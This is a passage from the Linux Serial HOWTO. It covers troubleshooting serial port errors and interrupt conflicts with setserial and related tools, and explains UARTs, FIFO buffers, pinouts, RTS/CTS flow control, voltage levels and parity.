As a quick check to see if it really is an interrupt problem, set the IRQ to 0 with "setserial". This will tell the driver to use polling instead of interrupts. If this seems to fix the "slow" problem then you had an interrupt problem. You should still try to solve the problem since polling uses excessive computer resources.

Checking to find the interrupt conflict may not be easy since Linux supposedly doesn't permit any interrupt conflicts and will send you a /dev/ttyS?: Device or resource busy error message if it thinks you are attempting to create a conflict. But a real conflict can be created if "setserial" has told the kernel incorrect info. The kernel has been lied to and thus doesn't think there is any conflict. Thus using "setserial" will not reveal the conflict (nor will looking at /proc/interrupts which bases its info on "setserial"). You still need to know what "setserial" thinks so that you can pinpoint where it's wrong and change it when you determine what's really set in the hardware.

What you need to do is to check how the hardware is set by checking jumpers or using PnP software to check how the hardware is actually set. For PnP run either "pnpdump --dumpregs" (if ISA bus) or run "lspci" (if PCI bus). Compare this to how Linux (e.g. "setserial") thinks the hardware is set.

15.6 Somewhat Slow: I expected it to be a few times faster

An obvious reason is that the baud rate is actually set too slow. It's claimed that this happened by trying to set the baud rate to a speed higher than the hardware can support (such as 230400).

Another reason may be that whatever is on the serial port (such as a modem, terminal, printer) doesn't work as fast as you thought it did.

Another possible reason is that you have an obsolete serial port: UART 8250, 16450 or early 16550 (or the serial driver thinks you do). See

What Are UARTS? Use "setserial -g /dev/ttyS*". If it shows anything less than a 16550A, this may be your problem. If you think that "setserial" has it wrong check it out. See What is Setserial for more info. If you really do have an obsolete serial port, lying about it to setserial will only make things worse.

15.7 The Startup Screen Show Wrong IRQs for the Serial Ports.

Linux does not do any IRQ detection on startup. When the serial module loads it only does serial device detection. Thus, disregard what it says about the IRQ, because it's just assuming the standard IRQs. This is done, because IRQ detection is unreliable, and can be fooled. But if and when setserial runs from a start-up script, it changes the IRQ's and displays the new (and hopefully correct) state on on the startup screen. If the wrong IRQ is not corrected by a later display on the screen, then you've got a problem.

So, even though I have my ttyS2 set at IRQ 5, I still see

ttyS02 at 0x03e8 (irq = 4) is a 16550A
at first when Linux boots. (Older kernels may show "ttyS02" as "tty02" which is the same as ttyS2). You may need to use setserial to tell Linux the IRQ you are using.

15.8 "Cannot open /dev/ttyS?: Permission denied"

Check the file permissions on this port with "ls -l /dev/ttyS?"_ If you own the ttyS? then you need read and write permissions: crw with the c (Character device) in col. 1. It you don't own it then it should show rw- in cols. 8 & 9 which means that everyone has read and write permission on it. Use "chmod" to change permissions. There are more complicated ways to get access like belonging to a "group" that has group permission.

15.9 "Operation not supported by device" for ttyS?

This means that an operation requested by setserial, stty, etc. couldn't be done because the kernel doesn't support doing it. Formerly this was often due to the "serial" module not being loaded. But with the advent of PnP, it may likely mean that there is no modem (or other serial device) at the address where the driver (and setserial) thinks it is. If there is no modem there, commands (for operations) sent to that address obviously don't get done. See What is set in my serial port hardware?

If the "serial" module wasn't loaded but "lsmod" shows you it's now loaded it might be the case that it's loaded now but wasn't loaded when you got the error message. In many cases the module will automatically loaded when needed (if it can be found). To force loading of the "serial" module it may be listed in the file: /etc/modules.conf or /etc/modules. The actual module should reside in: /lib/modules/.../misc/serial.o.

15.10 "Cannot create lockfile. Sorry"

When a port is "opened" by a program a lockfile is created in /var/lock/. Wrong permissions for the lock directory will not allow a lockfile to be created there. Use "ls -ld /var/lock" to see if the permissions are OK: usually rwx for everyone (repeated 3 times). If it's wrong, use "chmod" to fix it. Of course, if there is no "lock" directory no lockfile can be created there. For more info on lockfiles see What Are Lock Files

15.11 "Device /dev/ttyS? is locked."

This means that someone else (or some other process) is supposedly using the serial port. There are various ways to try to find out what process is "using" it. One way is to look at the contents of the lockfile (/var/lock/LCK...). It should be the process id. If the process id is say 100 type "ps 100" to find out what it is. Then if the process is no longer needed, it may be gracefully killed by "kill 100". If it refuses to be killed use "kill -9 100" to force it to be killed, but then the lockfile will not be removed and you'll need to delete it manually. Of course if there is no such process as 100 then you may just remove the lockfile but in most cases the lockfile should have been automatically removed if it contained a stale process id (such as 100).

15.12 "/dev/tty? Device or resource busy"

This means that the device you are trying to access (or use) is supposedly busy (in use) or that a resource it needs (such as an IRQ) is supposedly being used by another device (the resource is "busy"). This message is easy to understand if it only means that the device is busy (in use). But it often means that a resource is in use. What makes it even more confusing is that in some cases neither the device nor the resources that it needs are actually "busy".

The ``resource busy'' part often means (example for ttyS2) ``You can't use ttyS2 since another device is using ttyS2's interrupt.'' The potential interrupt conflict is inferred from what "setserial" thinks. A more accurate error message would be ``Can't use ttyS2 since the setserial data (and kernel data) indicates that another device is using ttyS2's interrupt''. If two devices use the same IRQ and you start up only one of the devices, everything is OK because there is no conflict yet. But when you next try to start the second device (without quitting the first device) you get a "... busy" error message. This is because the kernel only keeps track of what IRQs are actually in use and actual conflicts don't happen unless the devices are in use (open). The situation for I/O address (such as 0x3f8) conflict is similar.

This error is sometimes due to having two serial drivers: one a module and the other compiled into the kernel. Both drivers try to grab the same resources and one driver finds them "busy".

There are two possible cases when you see this message:

  1. There may be a real resource conflict that is being avoided.
  2. Setserial has it wrong and the only reason ttyS2 can't be used is that setserial erroneously predicts a conflict.

What you need to do is to find the interrupt setserial thinks ttyS2 is using. Look at /proc/tty/driver/serial (if you have it). You should also be able to see it with the "setserial" command for ttyS2.

Bug in old versions: Prior to 2001 there was a bug which wouldn't let you see it with "setserial". Trying to see it would give the same "... busy" error message.

To try to resolve this problem reboot or: exit or gracefully kill all likely conflicting processes. If you reboot: 1. Watch the boot-time messages for the serial ports. 2. Hope that the file that runs "setserial" at boot-time doesn't (by itself) create the same conflict again.

If you think you know what IRQ say ttyS2 is using then you may look at /proc/interrupts to find what else (besides another serial port) is currently using this IRQ. You might also want to double check that any suspicious IRQs shown here (and by "setserial") are correct (the same as set in the hardware). A way to test whether or not it's a potential interrupt conflict is to set the IRQ to 0 (polling) using "setserial". Then if the busy message goes away, it was likely a potential interrupt conflict. It's not a good idea to leave it permanently set at 0 since it will put more load on the CPU.

15.13 "Input/output error" from setserial or stty

You may have typed "ttys" instead of "ttyS". You will see this error message if you try to use the setserial command for any device that is not a serial port. It also may mean that the serial port is in use (busy or opened) and thus the attempt to get/set parameters by setserial or stty failed. It could also mean that there isn't any serial port at the IO address that setserial thinks your port is at.

15.14 Overrun errors on serial port

This is an overrun of the hardware FIFO buffer and you can't increase its size. Bug note (reported in 2002): Due to a bug in some kernel 2.4 versions, the port number may be missing and you will only see "ttyS" (no port number). But if devfs notation such as "tts/2" is being used, there is no bug. See

15.15 Port get characters only sporadically

There could be some other program running on the port. Use "top" (provided you've set it to display the port number) or "ps -alxw". Look at the results to see if the port is being used by another program. Be on the lookout for the gpm mouse program which often runs on a serial port.

15.16 Troubleshooting Tools

These are some of the programs you might want to use in troubleshooting:

  • "lsof /dev/ttyS*" will list serial ports which are open.
  • "setserial" shows and sets the low-level hardware configuration of a port (what the driver thinks it is). See What is Setserial
  • "stty" shows and sets the configuration of a port (except for that handled by "setserial"). See the section Stty
  • "modemstat" or "statserial" will show the current state of various modem signal lines (such as DTR, CTS, etc.)
  • "irqtune" will give serial port interrupts higher priority to improve performance.
  • "hdparm" for hard-disk tuning may help some more.
  • "lspci" shows the actual IRQs, etc. of hardware on the PCI bus.
  • "pnpdump --dumpregs" shows the actual IRQs, etc. of hardware for PnP devices on the ISA bus.
  • Some "files" in the /proc tree (such as ioports, interrupts, and tty/driver/serial).


Serial HOWTO: Interrupt Problem Details

 Next Previous Contents

16. Interrupt Problem Details

While the section Troubleshooting lists problems by symptom, this section explains what will happen if interrupts are set incorrectly. This section helps you understand what caused the symptom, what other symptoms might be due to the same problem, and what to do about it.

16.1 Types of interrupt problems

The "setserial" program will show you how serial driver thinks the interrupts are set. If the serial driver (and setserial) has it right then everything regarding interrupts should be OK. Of course a /dev/ttyS must exist for the device and Plug-and-Play (or jumpers) must have set an address and IRQ in the hardware. Linux will not knowingly permit an interrupt conflict and you will get a "Device or resource busy" error message if you attempt to do something that would create a conflict.

Since the kernel tries to avoid interrupt conflicts and gives you the "resource busy" message if you try to create a conflict, how can interrupt conflicts happen? Easy. "setserial" may have it wrong and erroneously predicts no conflict when there will actually be a real conflict based on what is set in the hardware. When this happens there will be no "... busy" message but a conflict will physically happen. Performance is likely to be extremely slow. Both devices will send identical interrupt signals on the same wire and the CPU will erroneously think that the interrupts only come from one device. This will be explained in detail in the following sections.

Linux doesn't complain when you assign two devices the same IRQ provided that neither device is in use. As each device starts up (initializes), it asks Linux for permission to use its hardware interrupt. Linux keeps track of which interrupt is assigned to whom, and if your interrupt is already in use, you'll see this "... busy" error message. Thus if two devices use the same IRQ and you start up only one of the devices, everything is OK. But when you next try to start the second device (without quitting the first device) you get "... busy" error message.

16.2 Symptoms of Mis-set or Conflicting Interrupts

The symptoms depend on whether or not you have a modern serial port with FIFO buffers or an obsolete serial port without FIFO buffers. It's important to understand the symptoms for the obsolete ones also since sometimes modern ports seem to behave that way.

For the obsolete serial ports, only one character gets thru every several seconds. This is so slow that it seems almost like nothing is working (especially if the character that gets thru is invisible (such a space or newline). For the modern ports with FIFO buffers you will likely see bursts of up to 16 characters every several seconds.

If you have a modem on the port and dial a number, it seemingly may not connect since the CONNECT message may not make it thru. But after a long wait it may finally connect and you may see part of a login message (or the like). The response from your side of the connection may be so delayed that the other side gives up and disconnects you, resulting in a NO CARRIER message.

If you use minicom, a common test to see if things are working is to type the simplest "AT" command and see if the modem responds. Typing just at<enter> should normally (if interrupts are OK) result in an immediate "OK" response from the modem. With bad interrupts you type at<enter> and may see nothing. But then after 10 seconds or so you see the cursor drop down one line. What is going on is that the FIFO is behaving like it can only hold one byte. The "at" you typed caused it to overrun and both letters were lost. But the final <enter> eventually got thru and you "see" this invisible character by noticing that the cursor jumped down one line. If you were to type a single letter and then wait about 10 seconds, you should see it echo back to the screen. This is fine if your typing speed is less that one word per minute :-)

16.3 Mis-set Interrupts

If you don't understand what an interrupt does see Interrupts. If a serial port has one IRQ set in the hardware but a different one set in the device driver, the device driver will not catch any interrupts sent by the serial port. Since the serial port uses interrupts to call its driver to service the port (fetching bytes from its 16-byte receive buffer or putting another 16-bytes in its transmit buffer) one might expect that the serial port would not work at all.

But it still may work anyway --sort of. Why? Well, besides the interrupt method of servicing the port there's a slow polling method that doesn't need interrupts. The way it works is that every so often the device driver checks the serial port to see if it needs anything such as if it has some bytes that need fetching from its receive buffer. If interrupts don't work, the serial driver falls back to this polling method. But this polling method was not intended to be used a substitute for interrupts. It's so slow that it's not practical to use and may cause buffer overruns. Its purpose may have been to get things going again if just one interrupt is lost or fails to do the right thing. It's also useful in showing you that interrupts have failed. Don't confuse this slow polling method with the fast polling method that operates on ports that have their IRQs set to 0.

For the 16-byte transmit buffer, 16 bytes will be transmitted and then it will wait until the next polling takes place (several seconds later) before the next 16 bytes are sent out. Thus transmission is very slow and in small chunks. Receiving is slow too since bytes that are received by the receive buffer are likely to remain there for several seconds until it is polled.

This explains why it takes so long before you see what you typed. When you type say AT to a modem, the AT goes out the serial port to the modem. The modem then echos the AT back thru the serial port to the screen. Thus the AT characters have to pass twice thru the serial port. Normally this happens so fast that AT seems to appear on the screen at the same time you hit the keys on the keyboard. With slow polling delays at the serial port, you don't see what you typed until many seconds later.

What about overruns of the 16-byte receive buffer? This will happen with an external modem since the modem just sends to the serial port at high speed which is likely to overrun the 16-byte buffer. But for an internal modem, the serial port is on the same card and it's likely to check that this receive buffer has room for more bytes before putting received bytes into it. In this case there will be no overrun of this receive buffer, but text will just appear on your screen in 16-byte chunks spaced at intervals of several seconds.

Even with an external modem you might not get overruns. If just a few characters (under 16) are sent you don't get overruns since the buffer likely has room for them. But attempts to send a larger number of bytes from your modem to your screen may result in overruns. However, more than 16 (with no gaps) can get thru without overruns if the timing is right. For example, suppose a burst of 32 bytes is sent into the port from the external cable. The polling might just happen after the first 16 bytes came in so it would pick up these 16 bytes OK. Then there would be space for the next 16 bytes so that entire 32 bytes gets thru OK. While this scenario is not very likely, similar cases where 17 to 31 bytes make thru are more likely. But it's even more likely that only an occasional 16-byte chunk will get thru with possible loss of data.

If you have an obsolete serial port with only a 1-byte buffer (or it's been incorrectly set to work like a 1-byte buffer) then the situation will be much worse than described above and only one character will occasionally make it thru the port. Every character received causes an overrun (and is lost) except for the last character received. This character is likely to be just a line-feed since this is often the last character to be transmitted in a burst of characters sent to your screen. Thus you may type AT<return> to the modem but never see AT on the screen. All you see several seconds later is that the cursor drops down one line (a line feed). This has happened to me with a 16-byte FIFO buffer that was behaving like a 1-byte buffer.

When a communication program starts up, it expects interrupts to be working. It's not geared to using this slow polling-like mode of operation. Thus all sorts of mistakes may be made such as setting up the serial port and/or modem incorrectly. It may fail to realize when a connection has been made. If a script is being used for login, it may fail (caused by timeout) due to the polling delays.

16.4 Interrupt Conflicts

When two devices have the same IRQ number it's called sharing interrupts. Under some conditions this sharing works out OK. Starting with kernel version 2.2, ISA serial ports may, if the hardware is designed for this, share interrupts with other serial ports. Devices on the PCI bus may share the same IRQ interrupt with other devices on the PCI bus (provided the software supports this). In other cases where there is potential for conflict, there should be no problem if no two devices with the same IRQ are ever "in use" at the same time. More precisely, "in use" really means "open" (in programmer jargon). In cases other than the exceptions mentioned above (unless special software and hardware permit sharing), sharing is not allowed and conflicts arise if sharing is attempted.

Even if two processes with conflicting IRQs run at the same time, one of the devices will likely have its interrupts caught by its device driver and may work OK. The other device will not have its interrupts caught by the correct driver and will likely behave just like a process with mis-set interrupts. See Mis-set Interrupts for more details.

16.5 Resolving Interrupt Problems

If you are getting a very slow response as described above, then one test is to change the IRQ to 0 (uses fast polling instead of interrupts) and see if the problem goes away. Note that the polling due to IRQ=0 is orders of magnitude faster than the slow "polling" due to bad interrupts. If IRQ=0 seems to fix the problem, then there was likely something wrong with the interrupts. Using IRQ=0 is very resource intensive and is only a temporary fix. You should try to find the cause of the interrupt problem and not permanently use IRQ=0.

Check /proc/interrupts to see if the IRQ is currently in use by another process. If it's in use by another serial port you could try "top" (type f and then enable the TTY display) or "ps -e" to find out which serial ports are in use. If you suspect that setserial has a wrong IRQ then see What is the current IO address and IRQ of my Serial Port ?


Serial HOWTO: What Are UARTs? How Do They Affect Performance?

 Next Previous Contents

17. What Are UARTs? How Do They Affect Performance?

17.1 Introduction to UARTS

UARTs (Universal Asynchronous Receiver Transmitter) are serial chips on your PC motherboard (or on an internal modem card). The UART function may also be done on a chip that does other things as well. On older computers like many 486's, the chips were on the disk IO controller card. Still older computer have dedicated serial boards.

The UART's purpose is to convert bytes from the PC's parallel bus to a serial bit-stream. The cable going out of the serial port is serial and has only one wire for each direction of flow. The serial port sends out a stream of bits, one bit at a time. Conversely, the bit stream that enters the serial port via the external cable is converted to parallel bytes that the computer can understand. UARTs deal with data in byte sized pieces, which is conveniently also the size of ASCII characters.

Say you have a terminal hooked up to your PC. When you type a character, the terminal gives that character to its transmitter (also a UART). The transmitter sends that byte out onto the serial line, one bit at a time, at a specific rate. On the PC end, the receiving UART takes all the bits and rebuilds the (parallel) byte and puts it in a buffer.

Along with converting between serial and parallel, the UART does some other things as a byproduct (side effect) of its primary task. The voltage used to represent bits is also converted (changed). Extra bits (called start and stop bits) are added to each byte before it is transmitted. See the Serial-HOWTO section, ``Voltage Waveshapes'' for details. Also, while the flow rate (in bytes/sec) on the parallel bus inside the computer is very high, the flow rate out the UART on the serial port side of it is much lower. The UART has a fixed set of rates (speeds) which it can use at its serial port interface.

17.2 Two Types of UARTs

There are two basic types of UARTs: dumb UARTS and FIFO UARTS. Dumb UARTs are the 8250, 16450, early 16550, and early 16650. They are obsolete but if you understand how they work it's easy to understand how the modern ones work with FIFO UARTS ( late 16550, 16550A, 16c552, late 16650, 16750, and 16C950).

There is some confusion regarding 16550. Early models had a bug and worked properly only as 16450's (no FIFO). Later models with the bug fixed were named 16550A but many manufacturers did not accept the name change and continued calling it a 16550. Most all 16550's in use today are like 16550A's. Linux will report it as being a 16550A even though your hardware manual (or a label note) says it's a 16550. A similar situation exists for the 16650 (only it's worse since the manufacturer allegedly didn't admit anything was wrong). Linux will report a late 16650 as being a 16650V2. If it reports it as 16650 it is bad news and only is used as if it had a one-byte buffer.

17.3 FIFOs

To understand the differences between dumb and FIFO (First In, First Out queue discipline) first let's examine what happens when a UART has sent or received a byte. The UART itself can't do anything with the data passing thru it, it just receives and sends it. For the obsolete dumb UARTS, the CPU gets an interrupt from the serial device every time a byte has been sent or received. The CPU then moves the received byte out of the UART's buffer and into memory somewhere, or gives the UART another byte to send. The obsolete 8250 and 16450 UARTs only have a 1 byte buffer. That means, that every time 1 byte is sent or received, the CPU is interrupted. At low transfer rates, this is OK. But, at high transfer rates, the CPU gets so busy dealing with the UART, that is doesn't have time to adequately tend to other tasks. In some cases, the CPU does not get around to servicing the interrupt in time, and the byte is overwritten, because they are coming in so fast. This is called an "overrun" or "overflow".

FIFO UARTs help solve this problem. The 16550A (or 16550) FIFO chip comes with 16 byte FIFO buffers. This means that it can receive up to 14 bytes (or send 16 bytes) before it has to interrupt the CPU. Not only can it wait for more bytes, but the CPU then can transfer all (14 to 16) bytes at a time. This is a significant advantage over the obsolete UARTs, which only had 1 byte buffers. The CPU receives less interrupts, and is free to do other things. Data is rarely lost. Note that the interrupt threshold of FIFO buffers (trigger level) may be set at less than 14. 1, 4 and 8 are other possible choices. As of late 2000 there was no way the Linux user could set these directly (setserial can't do it). While many PC's only have a 16550 with 16-byte buffers, better UARTS have even larger buffers.

Note that the interrupt is issued slightly before the buffer gets full (at say a "trigger level" of 14 bytes for a 16-byte buffer). This allows room for a couple more bytes to be received before the interrupt service routine is able to actually fetch all these bytes. The trigger level may be set to various permitted values by kernel software. A trigger level of 1 will be almost like an obsolete UART (except that it still has room for 15 more bytes after it issues the interrupt).

Now consider the case where you're on the Internet. It's just sent you a short webpage of text. All of this came in thru the serial port. If you had a 16-byte buffer on the serial port which held back characters until it had 14 of them, some of the last several characters on the screen might be missing as the FIFO buffer waited to get the 14th character. But the 14th character doesn't arrive since you've been sent the entire page (over the phone line) and there are no more characters to send to you. It could be that these last characters are part of the HTML formatting, etc. and are not characters to display on the screen but you don't want to lose format either.

There is a "timeout" to prevent the above problem. The "timeout" works like this for the receive UART buffer: If characters arrive one after another, then an interrupt is issued only when say the 14th character reaches the buffer. But if a character arrives and the next character doesn't arrive soon thereafter, then an interrupt is issued anyway. This results in fetching all of the characters in the FIFO buffer, even if only a few (or only one) are present. There is also "timeout" for the transmit buffer as well.

17.4 Why FIFO Buffers are Small

You may wonder why the FIFO buffers are not larger. After all, memory is cheap and it wouldn't cost much more to use buffers in the kilo-byte range. The reason is flow control. Flow control stops the flow of data (bytes) on serial line when necessary. If a stop signal is sent to serial port, then the stop request is handled by software (even if the flow control is "hardware"). The serial port hardware knows nothing about flow control.

If the serial port buffer contains 64 bytes ready to send when it receives a flow control signal to stop sending, it will send out the 64 bytes anyway in violation of the stop request. There is no stopping it since it doesn't know about flow control. If the buffer was large, then many more bytes would be sent in violation of flow control's request to stop.

17.5 UART Model Numbers

Here's a list of UARTs. TL is Trigger Level

  • 8250, 16450, early 16550: Obsolete with 1-byte buffers
  • 16550, 16550A, 16c552: 16-byte buffers, TL=1,4,8,14
  • 16650: 32-byte buffers. Speed up to 460.8 kbps
  • 16750: 64-byte buffer for send, 56-byte for receive. Speed up to 921.6 kbps
  • Hayes ESP: 1k-byte buffers.

The obsolete ones are only good for modems no higher than 14.4k (DTE speeds up to 38400 bps). For modern modems you need at least a 16550 (and not an early 16550). For V.90 56k modems, it may be a several percent faster with a 16650 (especially if you are downloading large uncompressed files). The main advantage of the 16650 is its larger buffer size as the extra speed isn't needed unless the modem compression ratio is high. Some 56k internal modems may come with a 16650 ??

Non-UART, and intelligent multiport boards use DSP chips to do additional buffering and control, thus relieving the CPU even more. For example, the Cyclades Cyclom, and Stallion EasyIO boards use a Cirrus Logic CD1400 RISC UART, and many boards use 80186 CPUs or even special RISC CPUs, to handle the serial IO.

Many 486 PCs (old) and all Pentiums (or the like) should have 16550As (usually called just 16550's) with FIFOs. Some better motherboards today (2000) even have 16650s. For replacing obsolete UARTs with newer ones in pre 1990 hardware see the Appendix: Obsolete ...


Serial HOWTO: Pinout and Signals

 Next Previous Contents

18. Pinout and Signals

18.1 Pinout

        PINOUT of the SERIAL PORT    (--> direction is out of PC)
                (Note DCD is sometimes labeled CD)
Pin #   Pin #   Acronym  Full-Name   Direction  What-it-May-Do/Mean
9-pin   25-pin
 3       2      TxD     Transmit Data     -->   Transmits bytes out of PC
 2       3      RxD     Receive Data      <--        Receives bytes into PC
 7       4      RTS     Request To Send   -->   RTS/CTS flow control
 8       5      CTS     Clear To Send     <--        RTS/CTS flow control
 6       6      DSR     Data Set Ready    <--        I'm ready to communicate
 4      20      DTR     Data Terminal Ready-->  I'm ready to communicate
 1       8      DCD     Data Carrier Detect<--       Modem connected to another
 9      22      RI      Ring Indicator    <--        Telephone line ringing
 5       7      SG      Signal Ground

18.2 Signals May Have No Fixed Meaning

Only 3 of the 9 pins have a fixed assignment: transmit, receive and signal ground. This is fixed by the hardware and you can't change it. But the other signal lines are controlled by software and may do (and mean) almost anything at all. However they can only be in one of two states: asserted (+12 volts) or negated (-12 volts). Asserted is "on" and negated is "off". For example, Linux software may command that DTR be negated and the hardware only carries out this command and puts -12 volts on the DTR pin. A modem (or other device) that receives this DTR signal may do various things. If a modem has been configured a certain way it will hang up the telephone line when DTR is negated. In other cases it may ignore this signal or do something else when DTR is negated (turned off).

It's like this for all the 6 signal lines. The hardware only sends and receives the signals, but what action (if any) they perform is up to the Linux software and the configuration/design of devices that you connect to the serial port. However, most pins have certain functions which they normally perform but this may vary with the operating system and the device driver configuration. Under Linux, one may modify the source code to make these signal lines behave differently (some people have).

18.3 Cabling Between Serial Ports

A cable from a serial port always connects to another serial port. An external modem or other device that connects to the serial port has a serial port built into it. For modems, the cable is always straight thru: pin 2 goes to pin 2, etc. The modem is said to be DCE (Data Communications Equipment) and the computer is said to be DTE (Data Terminal Equipment). Thus for connecting DTE-to-DCE you use straight-thru cable. For connecting DTE-to-DTE you must use a null-modem cable (also called a crossover cable). There are many ways to wire such cable (see examples in Text-Terminal-HOWTO subsection: "Direct Cable Connection")

There are good reasons why it works this way. One reason is that the signals are unidirectional. If pin 2 sends a signal out of it (but is unable to receive any signal) then obviously you can't connect it to pin 2 of the same type of device. If you did, they would both send out signals on the same wire to each other but neither would be able to receive any signal. There are two ways to deal with this situation. One way is to have a two different types of equipment where pin 2 of the first type sends the signal to pin 2 of the second type (which receives the signal). That's the way it's done when you connect a PC (DTE) to a modem (DCE). There's a second way to do this without having two different types of equipment: Connect pin sending pin 2 to a receiving pin 3 on same type of equipment. That's the way it's done when you connect 2 PCs together or a PC to a terminal (DTE-to-DTE). The cable used for this is called a null-modem cable since it connects two PCs without use of a modem. A null-modem cable may also be called a cross-over cable since the wires between pins 2 and 3 cross over each other (if you draw them on a sheet of paper). The above example is for a 25 pin connector but for a 9-pin connector the pin numbers are just the opposite.

The serial pin designations were originally intended for connecting a dumb terminal to a modem. The terminal was DTE (Data Terminal Equipment) and the modem was DCE (Data Communication Equipment). Today the PC is usually used as DTE instead of a terminal (but real terminals may still be used this way). The names of the pins are the same on both DTE and DCE. The words: "receive" and "transmit" are from the "point of view" of the PC (DTE). The transmit pin from the PC transmits to the "transmit" pin of the modem (but actually the modem is receiving the data from this pin so from the point of view of the modem it would be a receive pin).

The serial port was originally intended to be used for connecting DTE to DCE which makes cabling simple: just use a straight-thru cable. Thus when one connects a modem one seldom needs to worry about which pin is which. But people wanted to connect DTE to DTE (for example a computer to a terminal) and various ways were found to do this by fabricating various types of special null-modem cables. In this case what pin connects to what pin becomes significant.

18.4 RTS/CTS and DTR/DSR Flow Control

This is "hardware" flow control. Flow control was previously explained in the Flow Control subsection but the pins and voltage signals were not. Linux only supports RTS/CTS flow control at present (but a special driver may exist for a specific application which supports DTR/DSR flow control). Only RTS/CTS flow control will be discussed since DTR/DSR flow control works the same way. To get RTS/CTS flow control one needs to either select hardware flow control in an application program or use the command:
stty crtscts < /dev/ttyS2 (or the like). This enables RTS/CTS hardware flow control in the Linux device driver.

Then when a DTE (such as a PC) wants to stop the flow into it, it negates RTS. Negated "Request To Send" (-12 volts) means "request NOT to send to me" (stop sending). When the PC is ready for more bytes it asserts RTS (+12 volts) and the flow of bytes to it resumes. Flow control signals are always sent in a direction opposite to the flow of bytes that is being controlled. DCE equipment (modems) works the same way but sends the stop signal out the CTS pin. Thus it's RTS/CTS flow control using 2 lines.

On what pins is this stop signal received? That depends on whether we have a DCE-DTE connection or a DTE-DTE connection. For DCE-DTE it's a straight-thru connection so obviously the signal is received on a pin with the same name as the pin it's sent out from. It's RTS-->RTS (PC to modem) and CTS<--CTS (modem to PC). For DTE-to-DTE the connection is also easy to figure out. The RTS pin always sends and the CTS pin always receives. Assume that we connect two PCs (PC1 and PC2) together via their serial ports. Then it's RTS(PC1)-->CTS(PC2) and CTS(PC1)<--RTS(PC2). In other words RTS and CTS cross over. Such a cable (with other signals crossed over as well) is called a "null modem" cable. See Cabling Between Serial Ports

What is sometimes confusing is that there is the original use of RTS where it means about the opposite of the previous explanation above. This original meaning is: I Request To Send to you. This request was intended to be sent from a terminal (or computer) to a modem which, if it decided to grant the request, would send back an asserted CTS from its CTS pin to the CTS pin of the computer: You are Cleared To Send to me. Note that in contrast to the modern RTS/CTS bi-directional flow control, this only protects the flow in one direction: from the computer (or terminal) to the modem. This original use appears to be little used today on modern equipment (including modems).

The DTR and DSR Pins

Just like RTS and CTS, these pins are paired. For DTE-to-DTE connections they are likely to cross over. There are two ways to use these pins. One way is to use them as a substitute for RTS/CTS flow control. The DTR pin is just like the RTS pin while the DSR pin behaves like the CTS pin. Although Linux doesn't support DTR/DSR flow control, it can be obtained by connecting the RTS/CTS pins at the PC to the DSR/DTR pins at the device that uses DTR/DSR flow control. DTR flow control is the same as DTR/DSR flow control but it's only one-way and only uses the DTR pin at the device. Many text terminals and some printers use DTR/DSR (or just DTR) flow control. In the future, Linux may support DTR/DSR flow control. The software has already been written but it's not clear when (or if) it will incorporated into the serial driver.

The normal use of DTR and DSR (not for flow control) is as follows: A device asserting DTR says that its powered on and ready to operate. For a modem, the meaning of a DTR signal from the PC depends on how the modem is configured. Negating DTR is sometimes called "hanging up" but it doesn't always do this. One way to "hang up" (negate DTR) is to set the baud rate to 0 using the command "stty 0". Trying to do this from a "foreign" terminal may not work due to the two-interface problem. See Two interfaces at a terminal. For internal modem-serial_ports it worked OK with a port using minicom but didn't work if the port was using wvdial. Why?

18.5 Preventing a Port From Opening

If "stty -clocal" (or getty is used with the "local" flag negated) then a serial port can't open until DCD gets an assert (+12 volts) signal.


Serial HOWTO: Voltage Waveshapes

 Next Previous Contents

19. Voltage Waveshapes

19.1 Voltage for a Bit

At the EIA-232 serial port, voltages are bipolar (positive or negative with respect to ground) and should be about 12 volts in magnitude (some are 5 or 10 volts). For the transmit and receive pins +12 volts is a 0-bit (sometimes called "space") and -12 volts is a 1-bit (sometimes called "mark"). This is known as inverted logic since normally a 0-bit is both false and negative while a one is normally both true and positive. Although the receive and transmit pins are inverted logic, other pins (modem control lines) are normal logic with a positive voltage being true (or "on" or "asserted") and a negative voltage being false (or "off" or "negated"). Zero voltage has no meaning (except it usually means that the unit is powered off).

A range of voltages is allowed. The specs say the magnitude of a transmitted signal should be between 5 and 15 volts but must never exceed 25 V. Any voltage received under 3 V is undefined (but some devices will accept a lower voltage as valid). One sometimes sees erroneous claims that the voltage is commonly 5 volts (or even 3 volts) but it's usually 11-12 volts. If you are using a EIA-422 port on a Mac computer as an EIA-232 (requires a special cable) or EIA-423 then the voltage will actually be only 5 V. The discussion here assumes 12 V.

Note that normal computer logic normally is just a few volts (5 volts was once the standard) so that if you try to use test equipment designed for testing 3-5 volt computer logic (TTL) on the 12 volts of a serial port, it may damage the test equipment.

19.2 Voltage Sequence for a Byte

The transmit pin (TxD) is held at -12 V (mark) at idle when nothing is being sent. To start a byte it jumps to +12 V (space) for the start bit and remains at +12 V for the duration (period) of the start bit. Next comes the low-order bit of the data byte. If it's a 0-bit nothing changes and the line remains at +12 V for another bit-period. If it's a 1-bit the voltage jumps from +12 to -12 V. After that comes the next bit (-12 V if a 1 or +12 V if a 0), etc., etc. After the last data bit a parity bit may be sent and then a -12 V (mark) stop bit. Then the line remains at -12 V (idle) until the next start bit. Note that there is no return to 0 volts and thus there is no simple way (except by a synchronizing signal) to tell where one bit ends and the next one begins for the case where 2 consecutive bits are the same polarity (both zero or both one).

A 2nd stop bit would also be -12 V, just the same as the first stop bit. Since there is no signal to mark the boundaries between these bits, the only effect of the 2nd stop bit is that the line must remain at -12 V idle twice as long. The receiver has no way of detecting the difference between a 2nd stop bit and a longer idle time between bytes. Thus communications works OK if one end uses one stop bit and the other end uses 2 stop bits, but using only one stop bit is obviously faster. In rare cases 1 1/2 stop bits are used. This means that the line is kept at -12 V for 1 1/2 time periods (like a stop bit 50% wider than normal).

19.3 Parity Explained

Characters are normally transmitted with either 7 or 8 bits of data. An additional parity bit may (or may not) be appended to this resulting in a byte length of 7, 8 or 9 bits. Some terminal emulators and older terminals do not allow 9 bits. Some prohibit 9 bits if 2 stop bits are used (since this would make the total number of bits too large: 12 bits total after adding the start bit).

The parity may be set to odd, even or none (mark and space parity may be options on some terminals or other serial devices). With odd parity, the parity bit is selected so that the number of 1-bits in a byte, including the parity bit, is odd. If a such a byte gets corrupted by a bit being flipped, the result is an illegal byte of even parity. This error will be detected and if it's an incoming byte to the terminal an error-character symbol will appear on the screen. Even parity works in a similar manner with all legal bytes (including the parity bit) having an even number of 1-bits. During set-up, the number of bits per character usually means only the number of data bits per byte (7 for true ASCII and 8 for various ISO character sets).

